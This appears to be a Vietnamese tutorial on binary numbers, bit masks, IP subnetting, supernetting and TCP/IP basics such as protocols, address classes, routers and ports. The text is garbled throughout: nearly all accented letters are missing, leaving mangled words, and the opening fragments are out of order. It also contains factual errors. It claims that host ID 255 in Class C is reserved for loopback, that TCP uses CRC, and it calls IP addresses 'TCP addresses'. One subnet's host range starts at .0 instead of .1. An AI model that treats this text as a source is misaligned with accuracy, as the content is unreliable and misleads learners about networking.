+ 0*16 + 1*8 + 0*4 + 1*2 + 1 Do 75 (Thp Phn) = 1 0 0 1 0 1 1 (Nh Phn) Cch cng hai con s Nh Phn cng tng t nh trong h thng Thp Phn, tc l ta dng cch m. Trong thc t ta c th i hai con s Nh Phn ra Thp Phn, cng hai con s y trong h thng Thp Phn ri i kt qu ra Nh Phn tr li. Th d: Nh Phn Thp Phn 1110 14 + 1101 13 27 =11011 Ghi ch: 27 = 16 + 8 + 2 + 1 = 1*16 + 1*8 + 0*4 + 1*2 + 1 Mun lm ton tr th ta m ngc thay v m xui. Mt Byte th c 8 bits. Mi Byte c th c gi tr t 0 n 255. Con s 255 Thp Phn th bng 11111111 Nh phn . V s Nh Phn rt di v kh nhn din nn ngi ta thng gom tng nhm 4 bits thnh mt s trong h thng Thp Lc Phn (Hexadecimal). l v 2 ly tha 4 th bng 16. Trong h thng Thp Lc

H

thng s ta dng hng ngy l Thp Phn (Decimal). Thp l 10, c ngha

Phn ta dng 16 du hiu khc nhau: 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Con s Nh Phn 11111111 th bng FF trong Thp Lc Phn. mun i mt s Thp Phn ra Nh Phn ta c th i n ra Thp Lc Phn trc ri bin mi con s Thp Lc Phn ra 4 bits. Th d: 237 Thp Phn (237= 14*16 + 13) i ra ED Thp Lc Phn, ri E (nh l E = 14 Thp Phn) ra 1110 v D (nh l D = 13 Thp Phn) ra 1101. phn bit cc bits trong mt Byte, ta gi Least Significant Bit (LSB) l Bit0 v Most Significant Bit (MSB) l Bit7. Ta ni trong con s Hex FF tt c cc bits u bng 1 hay u set. Th d: S Thp Lc Phn B7= Bit Gi tr ca bit 1 7 128 0 6 64 1 5 32 1 4 16 0 3 8 1 2 4 1 1 2 1 0 1

Bn nn hc thuc bng gi tr ca cc bits trn y. Ngoi ra hy nh Bit8=256, s ln nht ca Byte l 255. Bit10 = 1024 (c mt Kl). Mt s Nh phn m Bit0=0 th chc chn l mt s chn. S Nh Phn thng c dng trong cc bi ton Lun L (Logical), s 1 c dng biu din gi tr True, s 0 cho False. Cc Logical Operation thng dng l: OR AND XOR (Exclusive OR) Khi mt trong hai Bit l 1 th kt qu l 1 Ch khi c hai Bit u l 1 th kt qu l 1 Khi hai Bit c gi tr i nhau th kt qu l 1 1 0 1 0 OR 0 1 1 0 = 1 1 1 0 1 0 1 0 AND 0 1 1 0 = 0 0 10 1 0 1 0 XOR 0 1 1 0 = 1 1 00

Con s Nh Phn th nh trong mt Logical AND operation cn c gi l MASK (mt n) , ni ch bit no ca s Nh Phn th nh l 1 th xuyn qua n ta mi thy ci bit (nm cng mt v tr) ca s Nh Phn th nht . Th d nu MASK l 11000000 th ta ch c th thy c Bit7 v Bit6 ca s Nh Phn th nht, kt qu ca Logical AND operation chc chn s cho cc bits 0 n 5 u bng 0. Mt th d MASKing l i mt character t lowercase ra uppercase. Ta bit Ascii value ca "a" l Hex 61, cn Ascii value ca "A" l Hex 41. Nu ta apply ln character "a" ci MASK Hex 41, tc l 61 AND 41 = 41 (hay 01100001 AND 01000001 = 01000001 ). , ni mt cch khc ta reset hay clear bit5 ca "a", th kt qu s l "A". Trong TCP/IP network configuration ta apply Subnet Mask ln IP address nhn din NetworkID. Th d: IP Address: 192.16.24.69 , Subnet Mask: 255.255.255.0 (hay FF.FF.FF.0). Do NetworkID= 192.16.24.0

Subnet MasksKhi ta chia mt Network ra thnh nhiu Network nh hn, cc Network nh ny c gI l Subnet. Theo quy c, cc a ch IP c chia ra lm ba Class (lp) nh sau: Address Class Class A Class B Class C Subnet mask trong d ng nh phn 11111111 00000000 00000000 00000000 11111111 11111111 00000000 00000000 11111111 11111111 11111111 00000000 Subnet mask 255.0.0.0 255.255.0.0 255.255.255.0

Subnet Mask ca Class A bng 255.0.0.0 c ngha rng ta dng 8 bits, tnh t tri qua phi (cc bits c set thnh 1), ca a ch IP phn bit cc NetworkID ca Class A. Trong khi , cc bits cn st li (trong trng hp Class A l 24 bits uc reset thnh 0) c dng biu din computers, gi l HostID. Nu bn cha quen cch dng s nh phn hy c qua bi H thng s nh phn.

SubnettingHy xt n mt a ch IP class B, 139.12.0.0, vi subnet mask l 255.255.0.0 (c th vit l: 139.12.0.0/16, y s 16 c ngha l 16 bits c dng cho NetworkID). Mt Network vi a ch th ny c th cha 65,534 nodes hay computers (65,534 = (2^16) 2 ) . y l mt con s qu ln, trn mng s c y broadcast traffic. Gi t chng ta chia ci Network ny ra lm bn Subnet. Cng vic s bao gm ba bc: 1) Xc nh ci Subnet mask 2) Lit k ID ca cc Subnet mi 3) Cho bit IP address range ca cc HostID trong mi Subnet

B c 1: Xc nh ci Subnet mask m cho n 4 trong h thng nh phn (cho 4 Subnet) ta cn 2 bits. Cng thc tng qut l: Y = 2^X m Y = con s Subnets (= 4) X = s bits cn thm (= 2) Do ci Subnet mask s cn 16 (bits trc y) +2 (bits mi) = 18 bits a ch IP mi s l 139.12.0.0/18 ( con s 18 thay v 16 nh trc y). Con s hosts ti a c trong mi Subnet s l: ((2^14) 2) = 16,382. V tng s cc hosts trong 4 Subnets l: 16382 * 4 = 65,528 hosts.

B c 2: Li t k ID c a cc Subnet m iTrong a ch IP mi (139.12.0.0/18) con s 18 ni n vic ta dng 18 bits, m t bn tri, ca 32 bit IP address biu din a ch IP ca mt Subnet. Subnet mask trong d ng nh phn 11111111 11111111 11000000 00000000 Subnet mask 255.255.192.0

Nh th NetworkID ca bn Subnets mi c l: Subnet 1 2 3 4 Subnet ID trong d ng nh phn 10001011.00001100.00000000.00000000 10001011.00001100.01000000.00000000 10001011.00001100.10000000.00000000 10001011.00001100.11000000.00000000 Subnet ID 139.12.0.0/18 139.12.64.0/18 139.12.128.0/18 139.12.192.0/18

B c 3: Cho bi t IP address range c a cc HostID trong m i SubnetV Subnet ID dng ht 18 bits nn s bits cn li (32-18= 14) c dng cho HostID. Nh ci lut dng cho Host ID l tt c mi bits khng th u l 0 hay 1. Subnet 1 2 3 4 HostID IP address trong d ng nh phn 10001011.00001100.00000000.00000001 10001011.00001100.00111111.11111110 10001011.00001100.01000000.00000001 10001011.00001100.01111111.11111110 10001011.00001100.10000000.00000001 10001011.00001100.10111111.11111110 10001011.00001100.11000000.00000001 10001011.00001100.11111111.11111110 HostID IP address Range 139.12.0.1/18 -139.12.63.254/18 139.12.64.1/18 -139.12.127.254/18 139.12.128.1/18 -139.12.191.254/18 139.12.192.0/18 139.12.255.254

Bn c thy trong mi Subnet, ci range ca HostID t con s nh nht (mu xanh) n con s ln nht (mu cam) u y ht nhau khng? By gi ta th t cho mnh mt bi tp vi cu hi: Bn c th dng Class B IP address cho mt mng gm 4000 computers c khng? Cu tr li l C. Ch cn lm mt bi ton nh. Gi t ci IP address l 192.168.1.1. Thay v bt u vi Subnet mask, trc ht chng ta tnh xem mnh cn bao nhiu bits cho 4000 hosts. Con s hosts ta c th c trong mt network c tnh bng cng thc: Y = (2^X 2)

Nh ci lut dng cho Host ID l tt c mi bits khng th u l 0 hay 1.4094 = (2^12 2) X = 12 , ta cn 12 bits cho HostIDs, do Subnet mask s chim 20 (=32-12) bits. Qu trnh tnh ton ni trn ny mang tn l Variable Length Subnet Mask(VLSM).

SupernettingGi t ta mng ca ta c 3 Subnets: Accounting: gm 200 hosts Finance : gm 400 hosts Marketing: gm 200 hosts Bn ha mng vi Internet v c Internet Service Provider (ISP) cho 4 Class C IP addresses nh sau: 192.250.9.0/24 192.250.10.0/24 192.250.11.0/24 192.250.12.0/24

Bn c 3 segments v bn mun mi segment cha mt Network. By gi bn lm sao?a ch IP trong Class C vi default subnet mask 24 cho ta con s Hosts ti a trong mi Network l [(2^X) 2] = (2^8) 2 = 254. Nh th segments Accounting v Marketing khng b tr ngi no c. Nhng ta thy Segment Finance cn thm 1 bit mi . Ta lm nh sau:

B c 1: Li t k Network IP addresses trong d ng nh phn192.250.9.0/24 11000000 11111010 00001001 00000000 (1) 192.250.10.0/24 11000000 11111010 00001010 00000000 (2) 192.250.11.0/24 11000000 11111010 00001011 00000000 (3) 192.250.12.0/24 11000000 11111010 00001100 00000000 (4)

B c 2: Nh n di n network prefix notation23 bits u (t tri qua phi) ca 2 network IP address (2) and (3) u ging nhau. Nu chng ta thu Subnet mask t 24 xung 23 cho (2) v (3) ta s c mt Subnet c th cung cp 508 hosts. IP address ca mi segment tr thnh:

Accounting: gm 200 hosts: 192.250.9.0/24 Finance: gm 400 hosts: 192.250.10.0/23 Marketing: gm 200 hosts: 192.250.12.0/24 By gi IP address 192.250.11.0 tr thnh mt HostID tm thng trong Subnet 192.250.10.0/23. Qu trnh ta lm va qua bng cch bt s bits trong Subnet mask khi gom hai hay bn (v.v..) subnets li vi nhau tng con s HostID ti a trong mt Subnet, c gi l SUPERNETTING. Supernetting uc dng trong router b xung CIDR (Classless Interdomain Routing v VLSM (Variable Length Subnet Mask). V lun lun nh rng trong internetwork, NETWORK ID phi l a ch c o (unique).

Cn b n v TCP/IP

T

CP/IP (Transmission Control Protocol/Internet Protocol) l mt b protocols

(giao thc) c thit k t hai mc tiu chnh: 1. Cho php truyn thng qua cc ung dy ca mng rng (Wide Area Network - WAN). 2. Cho php truyn thng gia cc mi trng a dng. Do hiu c ci gc ca cc protocols ny gip ta hiu uc s quan trng ca chng trong cc mng ngy nay.

L ch s c a TCP/IPVo cui thp nin 1960, c quan Advanced Research Projects Agency (DARPA) ca b Quc Phng M thc hin nhiu lot th nghim gi cc kin hng d kin i li mi hng (packet-switching) trn mng. Hai mc tiu chnh ca cng tc ny l: 1. Trin khai mt mng gip cc trung tm nghin cu chia s cc thng tin. 2. Trin khai mt mng ni cht ch cc a im quc phng trong trng hp M b tn cng bng v kh nguyn t. Kt qu l b TCP/IP. Sau ny Internet Society (Hi Internet) dng mt nhm t vn mang tn The Internet Architecture Board (IAB) (Ban Kin trc Internet) trng coi vic lm cho TCP/IP cng ngy cng hay hn. Mi khi ai c sng kin k thut g mun ngh vi Ban th ngi ta xin Ban ng ln v thng bo cho nhng ai quan tm c kin. Bn thng bo y c gi l

Request for Comments (RFC) (Yu cu cho bit kin). Nu a s cc guru v TCP/IP thy hay th c th ln ln ngh y uc cho vo TCP/IP.

Nh ng TCP/IP protocols v cc cng c Nh ta bit, truyn thng gia hng triu computers trn Internet xy ra c nh c TCP/IP protocol, mt cch giao thc trn mng rt thng dng trong vng cc computers chy Unix trc y. V n rt tin dng nn Microsoft dng TCP/IP lm giao thc chnh cho mng Windows2000. TCP/IP l tp hp ca nhiu protocols, m trong s c cc Protocols chnh sau y:

TCP (Transmission Control Protocol): Chuyn vic ni cc hosts li v bo m vic giao hng (messages) v n va dng s xc nhn hng n (Acknowledgement ) ging nh th bo m, va kim xem kin hng c b h hi khng bng cch dng CRC (Cyclic Redundant Check) , ging nh c ng khng ch m kin hng. IP (Internet Protocol): Lo v a ch v chuyn hng i ng hng, n ni, n chn. SMTP (Simple Mail Transfer Protocol): Chuyn vic giao Email. FTP (File Transfer Protocol): Chuyn vic gi File (upload/download) gia cc hosts. SNMP (Simple Network Management Protocol): Dng cho cc programs qun l mng user c th qun l mng t xa. UDP (User Datagram Protocol): Chuyn giao cc bc nh (packets) ca mt kin hng. N nhanh hn TCP v khng c s kim tra hay sa li. Ngc li, n khng bo m vic giao hng.

L Network Administrator ta nn lm quen vi cc cng c chun lm vic vi TCP/IP nh:

File Transfer Protocol (FTP): th upload/download files gia cc hosts. Telnet: Cho ta Terminal Emulation (gi lm mt Terminal) ni chuyn vi mt Host chy program Telnet Server. Packet Internet Groper (Ping): Dng th TCP/IP configurations v connections. IPCONFIG: kim TCP/IP configuration ca local host. NSLOOKUP: Dng line command c cc records trong DNS (Domain Name System) database. TRACERT: display cc khc ng (route) dng gia hai hosts.

a ch TCPMi computer trn LAN/Internet phi c mt a ch TCP c o (unique). Mt a ch TCP gm c 32 bits, chia lm 4 nhm gi l Octet (c 8 bits, tc l 1 Byte d kin) v uc vit di dng: 11000000 . 01101010 . 00000011 . 11001000

Mc du trn y l cc con s m computers thy, nhng khng phi l cc con s m con ngi suy ngh. Do ngi ta thng vit n di dng gi l dotted decimal (s thp phn vi du chm) nh sau: 192.100.3.200. V a ch TCP nh th rt kh nh nn ngi ta quy c dng cc tn d nh hn nh www.yahoo.com, www.vps.org, .v.v.. ri nh nhng ch c bit trn mng, gi l Domain Name Server (DNS) i cc user friendly names ny ra cc a ch TCP lm vic. vic trao i cc messages gia cc hosts trn mng c hiu nng, ngi ta thng gom cc Hosts li thnh tng nhm, gi l Network. Mi Network c cho mt NetworkID. Do mi a ch TCP c chia ra lm hai phn:

Network ID (hay Network Address): Dng chuyn cc messages n ng Network (cn gi l Subnet hay Segment. Host ID (hay Host Address):

Th d nh ba a ch TCP 192.168.104.1, 192.168.104.4, 192.168.104.7 c cng Network ID 192.168.104. Mt Subnet ca cc computers ging nh mt con ng ca nhng cn nh, mi cn nh c mt con s phn bit nhng a ch ca tt c cc cn nh u c chung tn ng, ngoi , thnh ph .v.v. .

Con s bits , m t tri qua phi, ca a ch TCP dng cho Network ID c gi l Subnet Mask. Ta c th dng 8, 16, 24, 25 bits .v.v.. ty , nhng phi ni cho system bit ta dng bao nhiu bits n c th tnh ra phn no trong 32 bits l ca NetworkID, phn no l ca HostID.

bit thm v Subnet xin hy c bi Subnet Mask. Cc a ch TCP c ch nh cho mi Host khng thay i ny c gi l Static Address. Khi ta dial-up Internet connect qua ISP (Internet Service Provider), computer ca ta thng c ISP pht cho mt a ch TCP dng tm trong thi gian my ta connect trong lc y. Ln ti, ta dial-up Internet s uc ISP cp cho mt a ch TCP khc, mt trong nhng a ch TCP m ISP uc c quan ng k a ch TCP ca th gii cung cp. Nh th, mi ln ta dng Internet th computer ca chng ta l mt host trong mng Internet TCP/IP ca ton th gii. Computer ta c th truyn thng vi cc hosts khc v ngc li, ngi ta cng c th thy v t m dm ng nhng g trong computer chng ta trong kh nng ca TCP/IP. Tc l, h m ca lm n th coi chng ngoi lai ln vo. Khi tt c cc computer trn mng dng cho Internet c gii hn trong vng mt c quan, t chc hay tp on th ta gi n l Intranet. Thng thng cc computers trong Intranet nm trn cng mt Local Area Network (LAN), cc message c gi i li vi vn tc cao (10Mbits/sec - 100Mbits/sec). Ngay c khi mt cng ty c hai, ba a im cch nhau, cc ung dy vin thng lin kt cng c vn tc ti thiu l 128Kbits/sec. gi l Intranet th ta mun dch v Internet ch dnh cho ni b v ngi ngoi kkng th no t m thy c.

Gateway, Router v FirewallNu ta khng c nh ni Network ca mnh vi Internet bn ngoi hay Network TCP/IP no khc th khng c g phi lo v trong vng Network ring t ca ta, ta c th cp cc a ch TCP thoi mi. Nh ni trn, a ch TCP ca tt c mi hosts trong mt Network u c cng mt NetworkID. Bn trong mt Network, messages c gi i gia cc hosts rt nhanh. Nu mun gi messages t mt Network ny qua mt Network khc th phi qua mt host c v tr c bit trong cng Network gi l Gateway (cng lin h bn ngoi). T nh mt l th t ng Thp mun i ngoi quc th phi qua Gateway Thnh ph HCM. Tng t nh vy, Network bn kia

cng c mt Gateway n nhn message t Gateway bn ny. chuyn messages gia hai Networks ta cn phi c mt dng c c bit, hardware hay software (mt hp hay mt program), gi l Router (pht m l rau-t trong ting Vit). Router l dng c gip cho hai Networks truyn thng nhau. N ging nh mt thng dch vin vy, c th ni chuyn vi c hai bn. i vi mi Network, Router hot ng nh th n l mt host trong Network y. Hnh di y minh ha cch dng Gateways v Router ni hai Networks li vi nhau:

Trong hnh trn, nu c hai Gateways tht ra l hai Network cards nm trn cng mt computers chy MSWindows2000 Server, ta c th dng software lm nhim v ca Router. Nh th ta khi phi mua mt hp Router. Firewall (bc tng la) l t dng ni n phng tin ta dng kim sot cht ch s i li ca cc messages. Ta dng Firewall ngn nga k l xm phm vo khu vc mng TCP/IP ca c quan ta. Nh ta thy, Router c th m nhim cng tc y. Vn l nu ta gt gao qu th s i li rt gii hn v khng tin li cho cng vic lm n. Ngc li, nu ta d di qu th khng cn an ton g c.

Phn chia giai c p A,B,CNh gii thch trn, Subnet Mask cho bit bao nhiu bits u ca a ch TCP c dng lm NetworkID, cn cc bits cn li l HostID. biu din mt Subnet Mask dng 24 bits cho mt NetworkID, ta c th vit 135.100.3.200/24. a s cc NetworkID ta thng gp dng 24 bit Subnet Mask. Nhng tht ra, ngi ta phn chia giai cp cc a ch TCP ra lm cc Classes A, B v C. Cc a ch ca Class A dng Octet th nht. C iu ngi ta khng dng bit th nht, n lun lun bng 0. Do ton b Internet ch c 127 Class A Networks. D a ch 127 l mt a ch Class A, ta khng th dng n uc v n uc reserved (dnh ring) th Loopback (Loopback Testing) . Mi Class

A Network c trn 16 triu (2 ly tha 24) hosts. Khi phi ni, by gi ta khng th xin mt Class A Network uc na, v cc i S Huynh dnh ht ri. Trong s cc cng ty ln y c General Electric, IBM, Apple, Xerox, v i hc Columbia. Cc Networks thuc Class B bt u vi Octet th nht c values trong range 128 n 191 . Trong Class B ta dng 2 Octets u cho NetwordID. Do ta ch c 16,384 Class B Networks, mi Network c 65,534 (2 ly tha 16)hosts. Tt c cc Networks Class B u b ngi ta x ht ri. Trong s cc cng ty y c Microsoft v Exxon. Sau cng l Class C Networks bt u vi Octet th nht c values trong range 192 n 223 v dng 3 Octets u tin biu din NetworkID. Nh th ta c khong 2 triu Class C Networks, nhng mi Network ch c th support 254 hosts (HostID=1 cho n 254), HostID=255 uc reserved cho Loopback testing, HostID=0 th bt hp l. Tin mng cho chng ta l mnh cn xin mt Class C network c.

Cc lo i ServersC ba th dch v ta thng dng nht trn Internet. l Surfing the Web ( chu du ta b th gii t trang Web ny n trang Web khc), Email v download File bng cch dng FTP (File Transfer Protocol). Cho mi th dch v ta dng u kia phi c mt Server (mt program phc v) - do ty theo ta ang connect vi ch no thi im y, ti ch cung cp dch v phi c Web server, Mail Server hay FTP Server p ng request (thnh cu) ca bn. Bn hi nu mt Computer trn Internet chy c 3 loi Servers ni trn th lm sao phn bit message no l cho Server no khi chng n cng mt a ch TCP. Xin tr li l ngoi a ch TCP ra, mi computer cn c nhiu Ports, khi ta ni vi Server trn mt computer ta cn cho bit Port number. Th d cho Web (WWW) th dng Port 80, cho FTP th dng Port 21 , .v.v.. Cch dng cc Port numbers ging ging nh dng tn ca cc c nhn sng trong cng mt cn nh khi gi th cho h. Ngoi a ch ca cn nh ta cn ni r l th y cho cha, m hay ngi con no. Hn na, mi loi message cn dng mt protocol khc nhau, nn ta c th Surf the Net, gi/nhn Email v download/upload files cng mt lc trn mt ng dy in thoi m khng s ln ln. Bn c th tng tng TCP/IP nh ci protocol cn bn ca Internet, ri nm ln pha trn l nhng protocols khc. Cng ging nh trong mng bu chnh, xe hng l cn bn ca vic chuyn ch, nhng kch thc cc kin hng theo chun ln, nh gip ngi ta phn bit cc loi hng ha khc nhau.